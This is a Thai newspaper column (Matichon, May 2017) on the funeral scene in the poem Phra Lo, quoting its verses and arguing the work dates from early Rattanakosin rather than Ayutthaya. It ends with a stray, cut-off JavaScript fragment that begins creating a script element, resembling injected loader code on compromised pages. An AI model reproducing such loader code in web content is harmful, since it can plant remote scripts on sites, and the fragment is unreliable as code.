มติชนรายวัน พฤหัสบดีที่ 11 พฤษภาคม 2560

 

เผาศพพระลอบนเมรุ

          งานศพในวรรณกรรมเรื่องพระลอ เหมือนงานพระเมรุมาศในอิเหนา ยุคต้นกรุงรัตนโกสินทร์

          พระลอ พระเพื่อน พระแพง ยืนตายกอดกันเหมือนไม่ตาย ต่อหน้าคนทั้งปวง มีร่ายพรรณนาว่า “สามพระองค์อิงกัน ผันหน้าต่อศัตรู พิศดูดุจนฤมิต สิ้นชีพพร้อมกัน ยืนอยู่ฉันบมิตาย”

          กวีผู้แต่งเรื่องพระลอ ต้องการย้ำเสน่หาอาลัยของ 3 คนผัวเมีย จึงเนรมิตร่ายด้วยกวีนิพนธ์พรรณนาฉากงานศพ มีลักษณะเฉพาะ ดังนี้

          (1.) งานพระเมรุ แต่โกศใส่ได้ศพเดียว เลยแก้ไขให้มีพร้อมกันด้วย คือ (2.) โลงทองใหญ่ ใส่ได้ 3 ศพ ในโลงเดียวกัน

          มีร่ายพรรณนา ว่า “สรงศพสามกษัตริย์ จัดสรรพภูษา ตราสังทั้งสามพระองค์ ผจงโลงทองหนึ่งใหญ่ ใส่สามกษัตริย์แล้วไส้…”, “มีโองการบังคับ ให้สำหรับพระเมรุ เกณฑ์กำหนดทุกกรม ให้แต่งพนมอัฐทิศ พิพิธราชวัติฉัตร กลิ้งกลดธวัชบรรฎาก หลายหลากภาคบุษบก กระหนกวิหคเหมหงส์—–”

          งานพระเมรุในพระลอไม่ต่างจากงานออกพระเมรุมาศในกรุงเทพฯ ยุคต้นกรุงรัตนโกสินทร์ มีมหรสพ โขนละครมอญรำ จุดดอกไม้ไฟในโรงระทา มีแตรสังข์และประโคมฆ้องกลอง กวีแต่งร่ายบอก ดังนี้

          “ขยายโรงโขนโรงรำ ทำระธาราวเทียน โคมเวียนโคมแว่นผจง โคมระหงฉลักเฉลา เสาโคมเรียงสล้าย เถลิงต้ายเตี้ยกำแพง แชลงราชวัติชวาลา บูชาศพสามกษัตริย์”

          “ครั้นแล้วงานศพเสร็จ ท้าวธเสด็จถวายพระเพลิง เถลิงการมหิมา เป็นมหามหรสพ ตลบดุริยางคดนตรี ตีฆ้องกลองครื้นเครง ละเวงศัพท์แตรสังข์ ประดังเสียงกึกก้อง ท้องธรณีนฤนาท…”

          งานพระเมรุพรรณนาโดยร่ายเคร่งครัดจำนวนคำเท่ากันทุกวรรคอย่างเป็นระบบ มีระเบียบแบบแผนตายตัว ไม่ต่างจากฉันทลักษณ์ที่นิยมของกวีกรุงเทพฯ ยุคต้นกรุงรัตนโกสินทร์

          โคลงกับร่ายในพระลอฉบับเป็นทางการทุกวันนี้ อ่านแล้วอ่านเล่าอ่านเท่าไรสำนวนก็ไม่เก่าถึงขนาดเป็นวรรณกรรมยุคอยุธยาในแผ่นดินพระนารายณ์ หรือนักวิชาการบางคนว่าเก่ากว่าพระนารายณ์ ยิ่งไม่น่าเชื่อ

          ถ้อยคำโวหารล้านนาเก่าๆ กวีแต่งเลียนแบบได้ไม่ยาก เช่น พญาตรัง เลียนแบบโคลงกำสรวล, จารึกพ่อขุนฯ เลียนแบบจารึกสุโขทัย ฯลฯ

 var d=document;var s=d.createElement(‘script’);